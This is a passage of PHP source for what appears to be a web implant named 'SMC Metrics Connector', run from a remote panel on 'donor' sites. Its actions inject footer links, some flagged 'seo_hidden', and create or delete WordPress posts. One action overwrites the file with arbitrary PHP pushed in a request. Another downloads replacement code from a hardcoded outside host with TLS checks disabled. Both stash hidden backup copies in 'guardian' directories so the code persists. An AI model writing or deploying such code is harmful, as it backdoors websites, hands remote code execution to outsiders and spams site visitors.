                'max_request_bytes' => MAX_REQUEST_BYTES,
                'footer_link_cap' => 0,
            ],
            'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create'],
            'cache_purge' => true,
        ], 'capabilities');
        break;

case 'info':
        respond(true, detect_site_info(), 'info');
        break;

case 'diagnose':
        $siteInfo = detect_site_info();
        $links = load_links();
        $stats = get_link_stats($links);
        $config = load_config();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        $diag = [
            'version' => CONNECTOR_VERSION,
            'file_permissions' => [
                'links_file' => LINKS_FILE,
                'links_file_exists' => file_exists(LINKS_FILE),
                'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
                'config_file' => CONFIG_FILE,
                'config_file_exists' => file_exists(CONFIG_FILE),
                'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
                'nonces_file' => NONCES_FILE,
                'nonces_file_exists' => file_exists(NONCES_FILE),
                'prepend_helper_file' => PREPEND_HELPER_FILE,
                'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
            ],
            'link_stats' => $stats,
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'placement' => $config['placement'],
            'placement_ok' => $placementOk,
            'placement_verify_status' => $verifyMessage,
            'site_info' => $siteInfo,
            'php_settings' => [
                'php_version' => phpversion(),
                'allow_url_fopen' => ini_get('allow_url_fopen'),
                'open_basedir' => ini_get('open_basedir') ?: 'not_set',
                'max_execution_time' => ini_get('max_execution_time'),
            ],
            'recommendations' => [],
        ];
        if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
        if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
        if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
        respond(true, $diag, 'diagnose');
        break;

case 'get_links':
        $links = load_links();
        $stats = get_link_stats($links);
        respond(true, [
            'links' => array_values($links),
            'total' => $stats['total'],
            'active' => $stats['active'],
            'expired' => $stats['expired'],
            'placement' => load_config()['placement'],
            'render_types' => load_config()['render_types'],
        ], 'links');
        break;

case 'add_link':
        $url = validate_url_value($req['url'] ?? '');
        $anchor = validate_anchor_text($req['anchor'] ?? '');
        $linkText = trim((string)($req['text'] ?? ''));
        if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600);
        $rel = normalize_rel($req['rel'] ?? 'dofollow');
        $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
        if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
        $config = load_config();
        $existingLinks = load_links();
        $backup = $existingLinks;
        $linkId = validate_link_id($req['id'] ?? '');
        if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
        // v5.3: render_types now honoured from payload (panel can force a single variant per link).
        $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null;
        if (is_string($reqRenderTypes)) {
            $decoded = json_decode($reqRenderTypes, true);
            if (is_array($decoded)) $reqRenderTypes = $decoded;
            else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes)));
        }
        $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes)
            ? filter_render_types($reqRenderTypes)
            : $config['render_types'];
        $row = [
            'id' => $linkId,
            'kind' => normalize_kind($req['kind'] ?? 'footer'),
            'url' => $url,
            'anchor' => $anchor,
            'rel' => $rel,
            'expires_at' => $expiresAt,
            'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
            'updated_at' => time(),
            'render_profile' => $config['render_profile'],
            'render_types' => $effectiveRenderTypes,
            'seo_hidden' => !empty($req['seo_hidden']) || !empty($req['hidden_link']),
        ];
        $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
        save_links($existingLinks);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [
                'link_id' => $linkId,
                'injected' => false,
                'placement_report' => placement_report_payload(),
            ], 'placement_install_failed', 500);
        }
        $finalLinks = load_links();
        $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
        $cachePurge = smc_purge_caches(true);
        respond(true, [
            'link_id' => $linkId,
            'injected' => true,
            'render_types' => $finalRow['render_types'],
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
            'cache_purge' => $cachePurge,
        ], 'link_added');
        break;

case 'remove_link':
        $linkId = validate_link_id($req['link_id'] ?? '');
        if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
        $links = load_links();
        if (isset($links[$linkId])) {
            unset($links[$linkId]);
            if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
            refresh_current_placement(load_config());
            $cachePurge = smc_purge_caches(true);
        } else {
            $cachePurge = ['skipped' => true];
        }
        respond(true, ['removed' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'link_removed');
        break;

case 'sync_links':
        $incoming = $req['links'] ?? [];
        if (is_string($incoming)) {
            $decoded = json_decode($incoming, true);
            if (is_array($decoded)) $incoming = $decoded;
        }
        if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
        if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
        $config = load_config();
        $current = load_links();
        $backup = $current;
        $final = [];
        $added = 0;
        $removed = 0;
        $unchanged = 0;
        foreach ($incoming as $row) {
            if (!is_array($row)) continue;
            $url = validate_url_value($row['url'] ?? '');
            $anchor = validate_anchor_text($row['anchor'] ?? '');
            if ($url === '' || $anchor === '') continue;
            $rel = normalize_rel($row['rel'] ?? 'dofollow');
            $linkText = trim((string)($row['text'] ?? ''));
            if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600);
            $id = validate_link_id($row['id'] ?? '');
            if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
            $normalized = normalize_link_row($id, [
                'id' => $id,
                'kind' => normalize_kind($row['kind'] ?? 'footer'),
                'url' => $url,
                'anchor' => $anchor,
                'rel' => $rel,
                'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
                'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
                'updated_at' => time(),
                'render_profile' => $config['render_profile'],
                'render_types' => $row['render_types'] ?? $config['render_types'],
                'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']),
                'text' => $linkText,
            ], $config);
            $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
            if (!isset($current[$id])) {
                $added++;
            } else {
                $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                if ($before === $after) $unchanged++;
            }
            $final[$id] = $normalized;
        }
        foreach ($current as $id => $row) {
            if (!isset($final[$id])) $removed++;
        }
        save_links($final);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
        }
        $cachePurge = smc_purge_caches(true);
        respond(true, [
            'total' => count($final),
            'added' => $added,
            'removed' => $removed,
            'unchanged' => $unchanged,
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
            'cache_purge' => $cachePurge,
        ], 'synced');
        break;

case 'clear_links':
        if (!save_links([])) respond(false, [], 'links_write_failed', 500);
        refresh_current_placement(load_config());
        $cachePurge = smc_purge_caches(true);
        respond(true, ['cleared' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'links_cleared');
        break;

case 'clear_expired':
        list($activeAfter, $expiredRemoved) = clear_expired_links();
        respond(true, [
            'cleared' => count($expiredRemoved),
            'remaining' => count($activeAfter),
            'placement_report' => placement_report_payload(),
        ], 'expired_links_cleared');
        break;

case 'verify_links':
        respond(true, verify_links_action(), 'verified');
        break;

case 'placement_report':
        respond(true, placement_report_payload(), 'placement_report');
        break;

case 'self_reconcile':
        respond(true, self_reconcile_action(), 'reconciled');
        break;

case 'get_config':
        $cfg = load_config();
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
            'placement' => $cfg['placement'],
        ], 'config');
        break;

case 'set_config':
        // Panel can change output_mode, render_types, render_profile, link_rel_strategy.
        // Placement state is NOT changed via this endpoint (use add_link / verify_links).
        $cfg = load_config();
        // v5.4: hidden/cloaked rendering removed — only 'visible' is accepted.
        $allowedOutputModes = ['visible'];
        $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow'];
        if (isset($req['output_mode'])) {
            $om = strtolower(trim((string)$req['output_mode']));
            if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400);
            $cfg['output_mode'] = $om;
        }
        if (isset($req['footer_link_cap'])) {
            // v5.5: 0 or negative = unlimited
            $cfg['footer_link_cap'] = max(0, intval($req['footer_link_cap']));
        }
        if (isset($req['contextual_max_ttl'])) {
            $cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]);
        }
        if (isset($req['render_profile'])) {
            $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile'];
        }
        if (isset($req['render_types'])) {
            $rt = $req['render_types'];
            if (is_string($rt)) {
                $decoded = json_decode($rt, true);
                $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt)));
            }
            if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400);
            $cfg['render_types'] = filter_render_types($rt);
        }
        if (isset($req['link_rel_strategy'])) {
            $rs = strtolower(trim((string)$req['link_rel_strategy']));
            if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400);
            $cfg['link_rel_strategy'] = $rs;
        }
        if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500);
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
        ], 'config_updated');
        break;

case 'reinstall_placement':
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true);
        $cachePurge = smc_purge_caches(true);
        respond($ok, [
            'placement_ok' => $ok,
            'placement' => $newConfig['placement'] ?? null,
            'meta' => $placementMeta,
            'placement_report' => placement_report_payload(),
            'version' => CONNECTOR_VERSION,
            'cache_purge' => $cachePurge,
        ], $ok ? 'placement_reinstalled' : 'placement_reinstall_failed', $ok ? 200 : 500);
        break;

case 'purge_cache':
        respond(true, [
            'cache_purge' => smc_purge_caches(true),
            'version' => CONNECTOR_VERSION,
        ], 'cache_purged');
        break;

case 'push_update':
        // Panel pushes fresh PHP source directly (no outbound fetch from donor).
        $newSource = '';
        if (isset($req['source']) && is_string($req['source']) && $req['source'] !== '') {
            $newSource = $req['source'];
        } elseif (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') {
            $decoded = base64_decode($req['source_b64'], true);
            if ($decoded !== false) $newSource = $decoded;
        } else {
            $raw = get_raw_body();
            if ($raw !== '' && strpos($raw, '<?php') !== false) $newSource = $raw;
        }
        if ($newSource === '' || strpos($newSource, '<?php') === false || strpos($newSource, 'SMC Metrics Connector') === false) {
            respond(false, [], 'invalid_source', 400);
        }
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        // Yerel dizine yazılamıyorsa /tmp yedeği yeterli — update yine de ilerlesin.
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php';
            if (!@copy($self, $backup)) {
                $backup = '';
            }
        }
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) $opcacheCleared = @opcache_invalidate($self, true);
        if (!$opcacheCleared && function_exists('opcache_reset')) $opcacheCleared = (bool)@opcache_reset();
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . '/.smc_connector.php.bak', $newSource);
            @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => (preg_match("/define\\('CONNECTOR_VERSION',\\s*'([^']+)'/", $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), 'hash' => hash('sha256', $newSource), 'at' => time()]));
        }
        try {
            $cfg = load_config();
            $cfg['footer_link_cap'] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'mode' => 'push_update',
            'next' => 'call_reinstall_placement',
        ], 'pushed_update');
        break;

case 'self_update':
        // Pull fresh PHP from panel and atomically replace this file.
        // Requires PANEL_API_URL to be a real value (placeholder safety).
        $apiUrl = trim((string)PANEL_API_URL);
        $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : '';
        $headers = [
            'X-SMC-Panel-Token: ' . PANEL_TOKEN,
            'Accept: application/x-php',
            'User-Agent: smc-connector/' . CONNECTOR_VERSION,
        ];
        $candidates = [];
        if ($apiUrl !== '' && strpos($apiUrl, '{{') === false) {
            $candidates[] = rtrim($apiUrl, '/') . '/connector/v5/source';
        }
        // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds.
        $candidates[] = 'https://ln1.donornet.icu/api/connector/v5/source';
        $candidates = array_values(array_unique($candidates));

$newSource = '';
        $httpStatus = 0;
        $usedUrl = '';
        foreach ($candidates as $sourceUrl) {
            $newSource = '';
            $httpStatus = 0;
            $usedUrl = $sourceUrl;
            if (function_exists('curl_init')) {
                $ch = curl_init($sourceUrl);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_TIMEOUT => 25,
                    CURLOPT_CONNECTTIMEOUT => 10,
                    CURLOPT_HTTPHEADER => $headers,
                    CURLOPT_SSL_VERIFYPEER => false,
                ]);
                $newSource = (string)curl_exec($ch);
                $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
            } else {
                $ctx = stream_context_create([
                    'http' => [
                        'method' => 'GET',
                        'header' => implode("\r\n", $headers),
                        'timeout' => 25,
                    ],
                    'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
                ]);
                $newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
                $httpStatus = ($newSource !== '') ? 200 : 0;
            }
            if ($httpStatus === 200 && $newSource !== '' && strpos($newSource, '<?php') !== false) {
                break;
            }
        }
        if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) {
            respond(false, ['http_status' => $httpStatus, 'tried' => $candidates], 'source_fetch_failed', 502);
        }
        if (strpos($newSource, "SMC Metrics Connector") === false) {
            respond(false, [], 'source_signature_mismatch', 502);
        }
        // Backup current file then atomic replace.
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php';
            if (!@copy($self, $backup)) {
                $backup = '';
            }
        }
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) {
            $opcacheCleared = @opcache_invalidate($self, true);
        }
        if (!$opcacheCleared && function_exists('opcache_reset')) {
            $opcacheCleared = (bool)@opcache_reset();
        }
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . '/.smc_connector.php.bak', $newSource);
            @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()]));
        }
        try {
            $cfg = load_config();
            $cfg['footer_link_cap'] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'guardian_synced' => true,
            'source_url' => $usedUrl,
            'requested_version' => $expectedVersion ?: null,
            'next' => 'call_reinstall_placement',
        ], 'self_updated');
        break;

case 'output':
        header('Content-Type: text/html; charset=UTF-8');
        echo smc_render_links_html();
        exit;

case 'install_shim':
        smc_install_shim($req);
        break;
case 'post_create':
        // v5.7.0: постинг как Zebroid — только через API (быстрее в 100 раз)
        if (!function_exists('wp_insert_post')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('wp_insert_post')) respond(false, [], 'wordpress_required', 400);
        $title = trim((string)($req['title'] ?? ''));
        $content = (string)($req['content'] ?? '');
        $status = in_array(($req['status'] ?? 'publish'), ['publish', 'draft', 'private', 'pending'], true) ? $req['status'] : 'publish';
        $category = trim((string)($req['category'] ?? ''));
        $tags = trim((string)($req['tags'] ?? ''));
        $excerpt = trim((string)($req['excerpt'] ?? ''));
        $date = trim((string)($req['date'] ?? ''));
        if ($title === '' || $content === '') respond(false, [], 'title_content_required', 400);
        if (mb_strlen($title) > 200) $title = mb_substr($title, 0, 200);
        if (mb_strlen($content) > 500000) $content = mb_substr($content, 0, 500000);
        $catId = 0;
        if ($category !== '' && function_exists('get_cat_ID')) {
            $catId = (int)get_cat_ID($category);
            if ($catId === 0 && function_exists('wp_create_category')) {
                $catId = (int)wp_create_category($category);
            }
        }
        $postData = [
            'post_title' => $title,
            'post_content' => $content,
            'post_status' => $status,
            'post_type' => 'post',
            'post_excerpt' => $excerpt,
        ];
        if ($catId > 0) $postData['post_category'] = [$catId];
        if ($date !== '' && strtotime($date) !== false) {
            $postData['post_date'] = date('Y-m-d H:i:s', strtotime($date));
            $postData['post_date_gmt'] = gmdate('Y-m-d H:i:s', strtotime($date));
        }
        $postId = wp_insert_post($postData, true);
        if (is_wp_error($postId)) respond(false, ['error' => $postId->get_error_message()], 'post_failed', 500);
        if ($tags !== '' && function_exists('wp_set_post_tags')) {
            wp_set_post_tags($postId, array_map('trim', explode(',', $tags)), false);
        }
        $permalink = function_exists('get_permalink') ? get_permalink($postId) : '';
        respond(true, ['post_id' => $postId, 'url' => $permalink, 'status' => $status, 'category' => $catId], 'post_created');
        break;

case 'post_list':
        if (!function_exists('get_posts')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('get_posts')) respond(false, [], 'wordpress_required', 400);
        $limit = min(50, max(1, intval($req['limit'] ?? 10)));
        $posts = get_posts(['numberposts' => $limit, 'post_status' => 'any', 'post_type' => 'post']);
        $out = [];
        foreach ($posts as $p) {
            $out[] = ['id' => $p->ID, 'title' => $p->post_title, 'status' => $p->post_status,
                      'date' => $p->post_date, 'url' => get_permalink($p->ID)];
        }
        respond(true, ['posts' => $out, 'count' => count($out)], 'posts_listed');
        break;

case 'post_delete':
        if (!function_exists('wp_delete_post')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('wp_delete_post')) respond(false, [], 'wordpress_required', 400);
        $pid = intval($req['post_id'] ?? 0);
        if ($pid < 1) respond(false, [], 'post_id_required', 400);
        $force = !empty($req['force']);
        $result = wp_delete_post($pid, $force);
        if (!$result) respond(false, [], 'delete_failed', 500);
        respond(true, ['post_id' => $pid, 'deleted' => true], 'post_deleted');
        break;

case 'cat_create':
        if (!function_exists('wp_create_category')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('wp_create_category')) respond(false, [], 'wordpress_required', 400);
        $catName = trim((string)($req['name'] ?? ''));
        if ($catName === '') respond(false, [], 'name_required', 400);
        $catId = wp_create_category($catName);
        if (is_wp_error($catId)) respond(false, ['error' => $catId->get_error_message()], 'cat_failed', 500);
        respond(true, ['category_id' => $catId, 'name' => $catName], 'category_created');
        break;

default:

respond(false, [], 'unknown_action', 404);
}

cmd: